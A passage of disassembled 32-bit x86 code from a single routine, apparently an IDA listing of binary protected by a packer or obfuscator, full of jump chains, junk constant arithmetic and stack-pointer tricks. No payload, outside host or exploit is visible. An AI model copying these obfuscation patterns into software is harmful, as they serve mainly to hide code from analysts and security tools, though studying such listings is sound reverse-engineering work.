		mov	[esp+1Ah+var_1C+2], edx
		push	ebp
		mov	ebp, 626258BAh
		mov	edx, 5510163Ah
		xor	edx, ebp
		pop	ebp
		not	edx
		jmp	loc_5BC087
; ---------------------------------------------------------------------------


loc_5B991D:				; CODE XREF: sub_5A55E5+1395Ej
		push	edi
		push	edx
		mov	edx, 72D860E8h
		neg	edx
		shr	edx, 4
		shl	edx, 3
		sub	esp, 4
		mov	[esp+34h+var_36+2], ebx
		push	esi
		push	770237h
		pop	esi
		mov	ebx, esi
		jmp	loc_5AA918
; ---------------------------------------------------------------------------


loc_5B9943:				; CODE XREF: sub_5A55E5+1528Aj
		pop	edx
		inc	edi
		jmp	loc_5B5786
; ---------------------------------------------------------------------------


loc_5B994A:				; CODE XREF: sub_5A55E5+92B7j
		add	[esp+28h+var_2A+2], 4
		jmp	loc_5B27AE
; ---------------------------------------------------------------------------


loc_5B9956:				; CODE XREF: sub_5A55E5+1162Ej
		add	ecx, 4
		jmp	loc_5B53AB
; ---------------------------------------------------------------------------


loc_5B9961:				; CODE XREF: sub_5A55E5+180DEj
		add	esp, 4
		sub	ebx, eax
		sub	ebx, 3F0C6C16h
		pop	small word ptr [eax]
		jmp	loc_5AF4B3
; ---------------------------------------------------------------------------


loc_5B9974:				; CODE XREF: sub_5A55E5+7D85j
		add	edi, 46AA5EA9h
		sub	eax, edi
		jmp	loc_5B2EDE
; ---------------------------------------------------------------------------


loc_5B9981:				; CODE XREF: sub_5A55E5+15ADBj
		mov	ebp, [esp+28h+var_2A+2]
		push	6C86h
		jmp	loc_5B08AA
; ---------------------------------------------------------------------------


loc_5B998E:				; CODE XREF: sub_5A55E5+8185j
		not	eax
		xchg	eax, ebp
		inc	ebp
		xchg	eax, ebp
		dec	eax
		add	eax, 13F1FD20h
		xor	ebp, eax
		mov	eax, [esp+32h+var_32]
		add	esp, 4
		mov	eax, ebp
		pop	ebp
		push	ebx
		jmp	loc_5BDC4D
; ---------------------------------------------------------------------------


loc_5B99AA:				; CODE XREF: sub_5A55E5+59A4j
		neg	eax
		add	eax, 3E272FE8h
		jmp	loc_5B1D20
; ---------------------------------------------------------------------------


loc_5B99B6:				; CODE XREF: sub_5A55E5+8DAEj
		push	edx
		mov	dl, bl
		mov	ch, dl
		jmp	loc_5B62C9
; ---------------------------------------------------------------------------


loc_5B99C0:				; CODE XREF: sub_5A55E5+1823Aj
		mov	ecx, 1A463439h
		push	eax
		mov	eax, 254D5E38h
		jmp	loc_5BBA0E
; ---------------------------------------------------------------------------


loc_5B99D0:				; CODE XREF: sub_5A55E5+181BDj
		mov	esp, [esp+10h+var_10]
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		sub	eax, 445D0412h
		add	eax, ecx
		push	edx
		jmp	loc_5B96FA
; ---------------------------------------------------------------------------


loc_5B99E6:				; CODE XREF: sub_5A55E5+9C4Fj
		sub	al, 0B9h
		add	al, 92h
		sub	al, bl
		sub	al, 92h
		add	al, 0B9h
		add	al, 8Ah
		push	edx
		mov	dl, 32h
		sub	al, dl
		pop	edx
		sub	esp, 4
		mov	[esp+24h+var_26+2], ecx
		push	edx
		mov	edx, esp
		jmp	loc_5ADAB0
; ---------------------------------------------------------------------------


loc_5B9A09:				; CODE XREF: sub_5A55E5+A96Bj
		pop	esi
		jmp	loc_5AF804
; ---------------------------------------------------------------------------


loc_5B9A0F:				; CODE XREF: sub_5A55E5+1011Cj
		mov	[esp+18h+var_18], esi
		push	5DA4h
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		pop	esi
		jmp	loc_5B6F8D
; ---------------------------------------------------------------------------


loc_5B9A24:				; CODE XREF: sub_5A55E5+16868j
		push	[esp+18h+var_18]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 308F4238h
		xor	esi, 2A9E48BAh
		shl	esi, 1
		push	ebp
		mov	ebp, 6C15AB0h
		or	ebp, 796D5F18h
		jmp	loc_5B094B
; ---------------------------------------------------------------------------


loc_5B9A4A:				; CODE XREF: sub_5A55E5+1898Fj
		pop	edx
		add	ebx, 295D22B5h
		add	ebx, edi
		sub	ebx, 295D22B5h
		jmp	loc_5B3297
; ---------------------------------------------------------------------------


loc_5B9A5E:				; CODE XREF: sub_5A55E5+158CDj
		pop	ebp
		jmp	loc_5B0DA5
; ---------------------------------------------------------------------------


loc_5B9A64:				; CODE XREF: sub_5A55E5+7FB1j
		sub	ebx, 0CB601EB8h
		add	eax, ebx
		jmp	loc_5ABBE2
; ---------------------------------------------------------------------------


loc_5B9A71:				; CODE XREF: sub_5A55E5+16D71j
		add	esi, ecx
		pop	ecx
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		jmp	loc_5BB9AD
; ---------------------------------------------------------------------------


loc_5B9A7F:				; CODE XREF: sub_5A55E5+16B16j
		pop	eax
		shl	ecx, 5
		or	ecx, 8392E22h
		sub	ecx, 6C8BB29Fh
		push	ecx
		add	[esp+0Ch+var_C], 2A4660B7h
		jmp	loc_5AEF01
; ---------------------------------------------------------------------------


loc_5B9A9C:				; CODE XREF: sub_5A55E5+B85Ej
		add	esi, 0C743B3Fh
		add	esi, 819194Fh
		add	esi, ebp
		sub	esi, 819194Fh
		sub	esi, 0C743B3Fh
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_5ACFA7
; ---------------------------------------------------------------------------


loc_5B9AC1:				; CODE XREF: sub_5A55E5+461Cj
		mov	bh, 0Fh
		jmp	loc_5BCC2E
; ---------------------------------------------------------------------------


loc_5B9AC8:				; CODE XREF: sub_5A55E5+A802j
		sub	edx, 4
		jmp	loc_5AE77E
; ---------------------------------------------------------------------------


loc_5B9AD3:				; CODE XREF: sub_5A55E5+FC29j
		dec	ecx
		sub	ecx, 403A600Bh
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+28h+var_2A+2]
		jmp	loc_5B59F3
; ---------------------------------------------------------------------------


loc_5B9AE5:				; CODE XREF: sub_5A55E5+16D36j
		mov	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 1
		jmp	loc_5B83A5
; ---------------------------------------------------------------------------


loc_5B9AF3:				; CODE XREF: sub_5A55E5+7949j
		add	ecx, edx
		add	ecx, 2E9C4E12h
		pop	edx
		sub	ecx, 4
		xor	ecx, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], ecx
		xor	ecx, [esp+52h+var_54+2]
		mov	esp, [esp+52h+var_54+2]
		jmp	loc_5ACF90
; ---------------------------------------------------------------------------


loc_5B9B13:				; CODE XREF: sub_5A55E5+99B5j
		sub	dh, bl
		sub	dh, 10h
		pop	ebx
		add	al, 0E3h
		add	al, dh
		sub	al, 0E3h
		jmp	loc_5AE2EE
; ---------------------------------------------------------------------------


loc_5B9B24:				; CODE XREF: sub_5A55E5+161DEj
		push	ebp
		jmp	loc_5BC954
; ---------------------------------------------------------------------------


loc_5B9B2A:				; CODE XREF: sub_5A55E5+107A3j
		push	33E44B47h
		push	[esp+32h+var_32]
		pop	esi
		add	esp, 4
		xor	esi, 1BA91985h
		jmp	loc_5BAE9A
; ---------------------------------------------------------------------------


loc_5B9B41:				; CODE XREF: sub_5A55E5+BB09j
		shl	edi, 2
		push	ebp
		mov	ebp, 7D175C9Ah
		jmp	loc_5BEBE9
; ---------------------------------------------------------------------------


loc_5B9B4F:				; CODE XREF: sub_5A55E5+12F11j
		mov	dx, 0D11h
		sub	bp, dx
		pop	dx
		neg	bp
		neg	bp
		jmp	loc_5BCCDA
; ---------------------------------------------------------------------------


loc_5B9B63:				; CODE XREF: sub_5A55E5+C475j
		add	esp, 4
		sub	dl, 67h
		mov	ebx, [esp+36h+var_36]
		jmp	loc_5ABEA9
; ---------------------------------------------------------------------------


loc_5B9B74:				; CODE XREF: sub_5A55E5+16424j
		push	esi
		mov	esi, 26AA46E4h
		mov	edi, 16336394h
		xor	edi, esi
		pop	esi
		push	2E14h
		mov	[esp+3Ah+var_3A], edi
		not	[esp+3Ah+var_3A]
		pop	edi
		not	edi
		xor	edi, 605B27B0h
		add	ecx, edi
		pop	edi
		sub	ecx, 5AA34E90h
		pop	ebx
		xor	ecx, [esp+2Eh+var_2E]
		xor	[esp+2Eh+var_2E], ecx
		xor	ecx, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		jmp	loc_5B9718
; ---------------------------------------------------------------------------


loc_5B9BB1:				; CODE XREF: sub_5A55E5+12776j
		xchg	ebx, [esp+12h+var_14+2]
		pop	esp
		jmp	loc_5B6FAE
; ---------------------------------------------------------------------------


loc_5B9BBA:				; CODE XREF: sub_5A55E5+163D3j
		mov	[esp+0Eh+var_10+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5B5E5D
; ---------------------------------------------------------------------------


loc_5B9BCA:				; CODE XREF: sub_5A55E5+837Ej
		mov	eax, [esp+56h+var_58+2]
		jmp	loc_5B4055
; ---------------------------------------------------------------------------


loc_5B9BD2:				; CODE XREF: sub_5A55E5+16008j
		sub	al, 0EEh
		sub	al, bl
		add	al, 0EEh
		mov	bx, word ptr [esp+56h+var_58+2]
		add	esp, 2
		push	dx
		mov	dl, 58h
		add	al, dl
		pop	dx
		add	al, bl
		sub	al, 58h
		add	al, 8
		sub	esp, 4
		mov	[esp+56h+var_58+2], ecx
		push	edx
		push	eax
		mov	ah, 37h
		jmp	loc_5B9C87
; ---------------------------------------------------------------------------


loc_5B9BFC:				; CODE XREF: sub_5A55E5+C192j
		add	ebx, ecx
		add	ebx, 57BC6017h
		jmp	loc_5AD016
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+18h+var_18]
		push	768Fh
		jmp	loc_5B70A3
; ---------------------------------------------------------------------------


loc_5B9C17:				; CODE XREF: sub_5A55E5+16A6Bj
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ebp
		mov	ebp, 715C679Bh
		jmp	loc_5B5ED3
; ---------------------------------------------------------------------------


loc_5B9C28:				; CODE XREF: sub_5A55E5+5A20j
		push	ebp
		mov	ebp, 4EC57BF5h
		xor	edi, ebp
		pop	ebp
		pop	esi
		sub	edx, edi
		pop	edi
		xor	edx, [esp+20h+var_22+2]
		jmp	loc_5BB207
; ---------------------------------------------------------------------------


loc_5B9C3D:				; CODE XREF: sub_5A55E5+52F7j
		add	esp, 4
		push	ecx
		mov	ecx, 51926630h
		or	ecx, 291D5A13h
		add	ecx, 0FFFFFFFFh
		inc	ecx
		or	ecx, 0A2D3C54h
		add	ecx, 0FBD4CBBEh
		sub	edx, ecx
		mov	ecx, [esp+26h+var_26]
		add	esp, 4
		push	ecx
		mov	ecx, 2B092298h
		and	ecx, 7FAB5F50h
		dec	ecx
		push	ebp
		mov	ebp, 1AA26E77h
		jmp	loc_5B6813
; ---------------------------------------------------------------------------


loc_5B9C7F:				; CODE XREF: sub_5A55E5+19654j
		mov	[esp+2Ah+var_2A], edx
		jmp	loc_5ADCA7
; ---------------------------------------------------------------------------


loc_5B9C87:				; CODE XREF: sub_5A55E5+14612j
		mov	dh, 9Dh
		sub	dh, ah
		jmp	loc_5AA6BA
; ---------------------------------------------------------------------------


loc_5B9C90:				; CODE XREF: sub_5A55E5+14BB7j
		add	esp, 4
		add	esi, 1
		jmp	loc_5BF1D7
; ---------------------------------------------------------------------------


loc_5B9C9E:				; CODE XREF: sub_5A55E5+BC2Cj
		pop	ebp
		add	esp, 4
		sub	ebx, 6C36170Fh
		push	eax
		mov	eax, 4FA67C65h
		push	ecx
		mov	ecx, 1
		jmp	loc_5B13B3
; ---------------------------------------------------------------------------


loc_5B9CB9:				; CODE XREF: sub_5A55E5+93B4j
		push	ebx
		jmp	loc_5BB286
; ---------------------------------------------------------------------------


loc_5B9CBF:				; CODE XREF: sub_5A55E5+A890j
		push	edi
		mov	edi, 6EF85159h
		mov	ecx, edi
		pop	edi
		jmp	loc_5BF284
; ---------------------------------------------------------------------------


loc_5B9CCD:				; CODE XREF: sub_5A55E5+93BDj
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	581Dh
		mov	[esp+16h+var_18+2], esi
		jmp	loc_5B4C3D
; ---------------------------------------------------------------------------


loc_5B9CE3:				; CODE XREF: sub_5A55E5+14F83j
		pop	eax
		jmp	loc_5AC088
; ---------------------------------------------------------------------------


loc_5B9CE9:				; CODE XREF: sub_5A55E5+8109j
		mov	edi, 0B002AE9h
		push	ebp
		mov	ebp, 303A2ADBh
		shl	ebp, 2
		add	ebp, 51386360h
		xor	edi, ebp
		pop	ebp
		jmp	loc_5B8CDE
; ---------------------------------------------------------------------------


loc_5B9D05:				; CODE XREF: sub_5A55E5+102FDj
		add	ebp, 9B252B1Eh
		jmp	loc_5B606A
; ---------------------------------------------------------------------------


loc_5B9D10:				; CODE XREF: sub_5A55E5+D78Fj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+2Ch+var_2A+2]
		jmp	loc_5B3289
; ---------------------------------------------------------------------------


loc_5B9D27:				; CODE XREF: sub_5A55E5+116E9j
		push	edx
		mov	edx, 337752A9h
		or	ebp, edx
		pop	edx
		neg	ebp
		sub	ebp, 88882543h
		jmp	loc_5B4B24
; ---------------------------------------------------------------------------


loc_5B9D3D:				; CODE XREF: sub_5A55E5+6B01j
		mov	ecx, [esp+72h+var_74+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	20CFh
		mov	[esp+7Ah+var_7C+2], esi
		mov	esi, 4
		add	ebp, 3A480E2Ch
		sub	ebp, 71E53334h
		add	ebp, esi
		jmp	loc_5B67CD
; ---------------------------------------------------------------------------


loc_5B9D69:				; CODE XREF: sub_5A55E5+B9A5j
		not	[esp+20h+var_22+2]
		push	[esp+20h+var_22+2]
		mov	eax, [esp+24h+var_26+2]
		push	esi
		push	esp
		mov	esi, [esp+2Ch+var_2E+2]
		jmp	loc_5BD1F0
; ---------------------------------------------------------------------------


loc_5B9D7C:				; CODE XREF: sub_5A55E5+111DDj
		mov	ebp, [esp+30h+var_32+2]
		add	esp, 4
		sub	eax, 4E1B7501h
		push	edi
		jmp	loc_5B53B3
; ---------------------------------------------------------------------------


loc_5B9D90:				; CODE XREF: sub_5A55E5+184C2j
		push	1E426FE9h
		pop	eax
		add	eax, 487E6E6Bh
		shr	eax, 7
		sub	eax, 8DAD6271h
		mov	ebp, eax
		pop	eax
		mov	ecx, 73201F4Fh
		sub	ecx, ebp
		pop	ebp
		push	edx
		mov	edx, 8714CBh
		shr	edx, 3
		add	edx, 3C6B210Bh
		sub	edx, 191ABD3Eh
		add	eax, edx
		pop	edx
		add	eax, ecx
		push	ebp
		jmp	loc_5BA5E3
; ---------------------------------------------------------------------------


loc_5B9DCE:				; CODE XREF: sub_5A55E5+14E68j
		neg	edx
		push	eax
		push	ebx
		mov	ebx, 0F00449Bh
		neg	ebx
		sub	ebx, 54E052B2h
		and	ebx, 2C3ED7h
		sub	ebx, 0FC889573h
		jmp	loc_5BB2F6
; ---------------------------------------------------------------------------


loc_5B9DF0:				; CODE XREF: sub_5A55E5+C2DCj
		push	ebp
		dec	[esp+2+var_4+2]
		pop	ebp
		add	ebp, 75E5247Dh
		sub	ebx, ebp
		jmp	loc_5B9730
; ---------------------------------------------------------------------------


loc_5B9E02:				; CODE XREF: sub_5A55E5+1798Aj
		pop	edx
		shr	ebx, 1
		neg	ebx
		jmp	loc_5B571E
; ---------------------------------------------------------------------------


loc_5B9E0C:				; CODE XREF: sub_5A55E5+4D85j
		push	esp
		pop	edi
		jmp	loc_5BC034
; ---------------------------------------------------------------------------


loc_5B9E13:				; CODE XREF: sub_5A55E5+159DBj
		pop	ebx
		push	ebx
		push	esp
		push	[esp+18h+var_18]
		jmp	loc_5B1A8F
; ---------------------------------------------------------------------------


loc_5B9E1E:				; CODE XREF: sub_5A55E5+B3D0j
		mov	[esp+30h+var_32+2], eax
		push	ecx
		mov	ecx, 7D32ADh
		mov	eax, 31A95661h
		sub	eax, ecx
		pop	ecx
		add	edx, 743B2A94h
		add	edx, eax
		jmp	loc_5B0718
; ---------------------------------------------------------------------------


loc_5B9E3C:				; CODE XREF: sub_5A55E5+72B3j
					; sub_5A55E5+10FDBj
		push	ebx
		jmp	loc_5B75E0
; ---------------------------------------------------------------------------


loc_5B9E42:				; CODE XREF: sub_5A55E5+E4F5j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		push	ecx
		mov	ecx, 77BD43CCh
		dec	ecx
		xor	ecx, 42BD4517h
		mov	ebp, ecx
		pop	ecx
		xor	ebp, 4AA0ECBh
		sub	ebp, 32B05BE5h
		and	ebp, 3D786EB8h
		xor	ebp, 4C637713h
		jmp	loc_5AB2A9
; ---------------------------------------------------------------------------


loc_5B9E79:				; CODE XREF: sub_5A55E5+5258j
		add	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 7EFF2B6Ch
		not	esi
		shr	esi, 4
		sub	esi, 1E884944h
		neg	esi
		push	edx
		mov	edx, 63127F68h
		jmp	loc_5ABCE3
; ---------------------------------------------------------------------------


loc_5B9E9A:				; CODE XREF: sub_5A55E5+11673j
		inc	ebp
		xor	ebp, 7AE0DE1h
		sub	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		add	ecx, eax
		mov	eax, [esp+4Eh+var_50+2]
		push	7B64h
		mov	[esp+52h+var_54+2], ecx
		push	esp
		jmp	loc_5B76EE
; ---------------------------------------------------------------------------


loc_5B9EBA:				; CODE XREF: sub_5A55E5+15B24j
		add	esi, 5A287A43h
		or	edi, esi
		pop	esi
		add	edi, 0A20994B3h
		mov	edx, edi
		pop	edi
		push	edi
		jmp	loc_5BCE8E
; ---------------------------------------------------------------------------


loc_5B9ED2:				; CODE XREF: sub_5A55E5+1255Ej
		sub	al, dh
		pop	edx
		push	[esp+22h+var_22]
		push	[esp+26h+var_26]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5ADA2F
; ---------------------------------------------------------------------------


loc_5B9EED:				; CODE XREF: sub_5A55E5+57AAj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5B9EF2:				; CODE XREF: sub_5A55E5+14F89j
		add	esp, 4
		add	esi, 0AA9EFEA4h
		mov	edi, esi
		pop	esi
		shr	edi, 8
		not	edi
		dec	edi
		push	esi
		mov	esi, 0
		sub	esi, edi
		jmp	loc_5B9FEA
; ---------------------------------------------------------------------------


loc_5B9F11:				; CODE XREF: sub_5A55E5+68F2j
		push	6667h
		mov	[esp+1Ah+var_1C+2], esi
		push	ebp
		jmp	loc_5BE013
; ---------------------------------------------------------------------------


loc_5B9F1F:				; CODE XREF: sub_5A55E5+11098j
		push	esp
		mov	ebp, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	eax
		push	esi
		push	42D71931h
		pop	esi
		sub	esp, 4
		mov	[esp+34h+var_36+2], edi
		mov	edi, 18E93BC2h
		or	edi, 55946EA1h
		jmp	loc_5AFBB6
; ---------------------------------------------------------------------------


loc_5B9F47:				; CODE XREF: sub_5A55E5+E993j
		mov	si, word ptr [esp+1Ah+var_1C+2]
		push	edi
		mov	edi, esp
		jmp	loc_5B7EE3
; ---------------------------------------------------------------------------


loc_5B9F53:				; CODE XREF: sub_5A55E5+A57Ej
		add	ebx, 0E862371h
		jmp	loc_5B6762
; ---------------------------------------------------------------------------


loc_5B9F5E:				; CODE XREF: sub_5A55E5+73E3j
		add	esi, 681A1E1Ch
		pop	ebx
		add	esi, 2
		xchg	esi, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		shl	[esp+22h+var_22], cl
		pushf
		jmp	loc_5AE2E9
; ---------------------------------------------------------------------------


loc_5B9F7A:				; CODE XREF: sub_5A55E5+9286j
		add	eax, 603108C6h
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		jmp	loc_5BD988
; ---------------------------------------------------------------------------


loc_5B9F8E:				; DATA XREF: sub_5A55E5+41D3o
		lodsb
		sub	esp, 2
		mov	word ptr [esp+14h+var_14], bx
		push	eax
		mov	al, 74h
		mov	bh, 85h
		xor	bh, al
		jmp	loc_5BCF91
; ---------------------------------------------------------------------------


loc_5B9FA5:				; CODE XREF: sub_5A55E5+13A2Bj
		mov	ebx, 73807EACh
		xor	ebx, 73807EA8h
		jmp	loc_5BA35F
; ---------------------------------------------------------------------------


loc_5B9FB5:				; CODE XREF: sub_5A55E5+18B8Dj
		push	[esp+2Eh+var_2E]
		jmp	loc_5B022B
; ---------------------------------------------------------------------------


loc_5B9FBD:				; CODE XREF: sub_5A55E5+AAA1j
		sub	esp, 4
		jmp	loc_5B5668
; ---------------------------------------------------------------------------


loc_5B9FC8:				; CODE XREF: sub_5A55E5+F18Bj
		push	eax
		mov	ah, 0EDh
		shr	ah, 1
		and	ah, 68h
		neg	ah
		jmp	loc_5B7C1D
; ---------------------------------------------------------------------------


loc_5B9FD7:				; CODE XREF: sub_5A55E5+AB49j
		add	bh, ch
		push	small 1599h
		mov	word ptr [esp+48h+var_4A+2], ax
		mov	al, 0Ch
		add	bh, al
		jmp	loc_5B41F4
; ---------------------------------------------------------------------------


loc_5B9FEA:				; CODE XREF: sub_5A55E5+14927j
		xchg	esi, edi
		pop	esi
		push	ebp
		jmp	loc_5B50DA
; ---------------------------------------------------------------------------


loc_5B9FF3:				; CODE XREF: sub_5A55E5+BAC4j
		shr	eax, 1
		dec	eax
		sub	eax, 0FDF1C381h
		jmp	loc_5AAF08
; ---------------------------------------------------------------------------


loc_5BA000:				; CODE XREF: sub_5A55E5+15A8Cj
		add	[esp+18h+var_18], 47803D9h
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 1D172CADh
		add	[esp+1Ch+var_18], 856112Dh
		add	[esp+1Ch+var_18], edx
		push	ecx
		mov	ecx, 856112Dh
		jmp	loc_5BBB20
; ---------------------------------------------------------------------------


loc_5BA02C:				; CODE XREF: sub_5A55E5+9930j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BA031:				; CODE XREF: sub_5A55E5+17B72j
		xor	edi, [esp+2Ch+var_2E+2]
		xor	[esp+2Ch+var_2E+2], edi
		xor	edi, [esp+2Ch+var_2E+2]
		mov	esp, [esp+2Ch+var_2E+2]
		push	7714h
		mov	[esp+30h+var_32+2], edx
		mov	edx, 100h
		and	eax, edx
		push	[esp+30h+var_32+2]
		push	[esp+34h+var_36+2]
		push	[esp+38h+var_3A+2]
		jmp	loc_5B947F
; ---------------------------------------------------------------------------


loc_5BA05A:				; CODE XREF: sub_5A55E5+E87Cj
		pop	ecx
		pop	eax
		mov	dl, bh
		pop	ebx
		mov	bh, dl
		pop	edx
		mov	[eax], bh
		jmp	loc_5B98D5
; ---------------------------------------------------------------------------


loc_5BA069:				; CODE XREF: sub_5A55E5+17226j
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		push	2211h
		jmp	loc_5BC3A0
; ---------------------------------------------------------------------------


loc_5BA07C:				; CODE XREF: sub_5A55E5+AFD4j
		dec	eax
		and	eax, 33B511D9h
		not	eax
		jmp	loc_5AD7A8
; ---------------------------------------------------------------------------


loc_5BA089:				; CODE XREF: sub_5A55E5+52FDj
		xchg	edi, [esp+22h+var_22]
		jmp	loc_5BA54A
; ---------------------------------------------------------------------------


loc_5BA091:				; CODE XREF: sub_5A55E5+1403Ej
		mov	eax, ebx
		mov	ebp, eax
		pop	eax
		push	ebp
		push	ebp
		mov	ebp, 65281DA5h
		add	[esp+2Ch+var_2A+2], ebp
		pop	ebp
		mov	esi, [esp+28h+var_2A+2]
		add	esp, 4
		push	edx
		mov	edx, 65281DA5h
		sub	esi, edx
		pop	edx
		mov	ebp, [esp+24h+var_26+2]
		jmp	loc_5B088F
; ---------------------------------------------------------------------------


loc_5BA0BC:				; CODE XREF: sub_5A55E5+C325j
		pop	esi
		push	esi
		push	ecx
		push	edi
		mov	edi, 1056C83h
		inc	edi
		not	edi
		or	edi, 55064ACh
		xor	edi, 6D794D35h
		jmp	loc_5AE52F
; ---------------------------------------------------------------------------


loc_5BA0D9:				; CODE XREF: sub_5A55E5+EB14j
		push	esi
		jmp	loc_5BDD1A
; ---------------------------------------------------------------------------


loc_5BA0DF:				; CODE XREF: sub_5A55E5+974Cj
		push	eax
		push	13DC5CA1h
		pop	eax
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		push	0
		jmp	loc_5AD258
; ---------------------------------------------------------------------------


loc_5BA0F4:				; CODE XREF: sub_5A55E5+A6C8j
		mov	ecx, 75F7374Ah
		neg	ecx
		add	ecx, 1
		xor	ecx, 0FE678AC4h
		sub	esi, ecx
		pop	ecx
		add	esi, edx
		jmp	loc_5B7322
; ---------------------------------------------------------------------------


loc_5BA111:				; CODE XREF: sub_5A55E5+FB7Dj
		shr	ecx, 7
		shr	ecx, 7
		add	ecx, 0FFFD04EAh
		mov	ebp, ecx
		pop	ecx
		add	[esp+2Ah+var_26], ebp
		jmp	loc_5AD499
; ---------------------------------------------------------------------------


loc_5BA129:				; CODE XREF: sub_5A55E5+1684Aj
		add	eax, 4
		jmp	loc_5BC17D
; ---------------------------------------------------------------------------


loc_5BA133:				; CODE XREF: sub_5A55E5+F6A9j
		add	esp, 4
		pop	edi
		xor	ebx, eax
		sub	esp, 4
		mov	[esp+36h+var_36], esi
		push	esp
		pop	esi
		push	ebx
		push	ebp
		push	2F656DF6h
		pop	ebp
		add	ebp, 42F91246h
		add	ebp, 8DA17FC8h
		mov	ebx, ebp
		push	[esp+3Eh+var_3E]
		pop	ebp
		add	esp, 4
		add	esi, ebx
		pop	ebx
		sub	esi, 2
		push	esi
		push	[esp+3Ah+var_36]
		pop	esi
		pop	[esp+3Ah+var_3A]
		mov	esp, [esp+36h+var_36]
		mov	word ptr [esp+36h+var_36], cx
		push	edx
		mov	dl, 0A0h
		shr	dl, 5
		not	dl
		jmp	loc_5BDCAF
; ---------------------------------------------------------------------------


loc_5BA184:				; CODE XREF: sub_5A55E5+B557j
		mov	dx, word ptr [esp+4Ah+var_4A]
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], ecx
		push	esp
		pop	ecx
		push	esi
		push	4CD3122Ch
		mov	esi, [esp+56h+var_58+2]
		jmp	loc_5B9C90
; ---------------------------------------------------------------------------


loc_5BA1A1:				; CODE XREF: sub_5A55E5+6F23j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_5BAF14
; ---------------------------------------------------------------------------


loc_5BA1AF:				; CODE XREF: sub_5A55E5+4C79j
		push	[esp+14h+var_14]
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5AD4BC
; ---------------------------------------------------------------------------


loc_5BA1CC:				; CODE XREF: sub_5A55E5+EA29j
		xchg	edx, [esp+28h+var_2A+2]
		jmp	loc_5AD221
; ---------------------------------------------------------------------------


loc_5BA1D4:				; CODE XREF: sub_5A55E5+10F5Bj
		xor	esi, 7F5E6Bh
		dec	esi
		xor	esi, 14303E92h
		add	esi, 0F2FCC8Bh
		add	ebx, 398A37FBh
		sub	ebx, 9AE4CD2h
		jmp	loc_5B4946
; ---------------------------------------------------------------------------


loc_5BA1F8:				; CODE XREF: sub_5A55E5+15538j
		push	edi
		mov	edi, 0BF15D41h
		push	ecx
		push	edx
		mov	edx, 2E926BB5h
		dec	edx
		xor	edx, 0A2F31BFh
		add	edx, 2BB5A993h
		mov	ecx, edx
		jmp	loc_5AD3BA
; ---------------------------------------------------------------------------


loc_5BA219:				; CODE XREF: sub_5A55E5+13276j
		add	[esp+0Ah+var_4+2], 172F41B2h
		sub	[esp+0Ah+var_4+2], ebx
		sub	[esp+0Ah+var_4+2], 172F41B2h
		pop	ebx
		add	[esp+6+var_4+2], ecx
		jmp	loc_5B8FF7
; ---------------------------------------------------------------------------


loc_5BA237:				; CODE XREF: sub_5A55E5+141C9j
		push	edi
		mov	edi, 2D6E5B52h
		mov	esi, edi
		pop	edi
		sub	ebp, 21F3B8Ch
		sub	ebp, esi
		add	ebp, 21F3B8Ch
		pop	esi
		sub	ebp, 89937CBh
		add	ebp, edi
		add	ebp, 89937CBh
		add	ebp, 2D6E5B52h
		sub	ebp, 62D5447Dh
		pop	edi
		xor	ebp, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], ebp
		xor	ebp, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		push	ecx
		push	24h
		mov	ecx, [esp+12h+var_14+2]
		add	esp, 4
		jmp	loc_5BDB8A
; ---------------------------------------------------------------------------


loc_5BA28A:				; CODE XREF: sub_5A55E5+17E58j
		mov	[esp+0Eh+var_10+2], ebx
		mov	ebx, 22FB0559h
		dec	ebx
		neg	ebx
		sub	ebx, 0AAA9C4A8h
		jmp	loc_5AB438
; ---------------------------------------------------------------------------


loc_5BA2A0:				; CODE XREF: sub_5A55E5+95D8j
		push	esp
		jmp	loc_5B064E
; ---------------------------------------------------------------------------


loc_5BA2A6:				; CODE XREF: sub_5A55E5+B696j
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		sub	edx, 12254E7Ch
		jmp	loc_5B5C93
; ---------------------------------------------------------------------------


loc_5BA2B9:				; CODE XREF: sub_5A55E5+16623j
		xchg	eax, [esp+2Ch+var_2E+2]
		pop	esp
		mov	ebx, [esp+28h+var_2A+2]
		add	esp, 4
		add	edx, 738E701Fh
		add	edx, edi
		push	ebx
		mov	ebx, 0EC705E5h
		sub	ebx, 9B3895C6h
		sub	edx, ebx
		pop	ebx
		pop	edi
		push	ebx
		mov	ebx, 173320E0h
		neg	ebx
		add	ebx, 6CFA691Dh
		inc	ebx
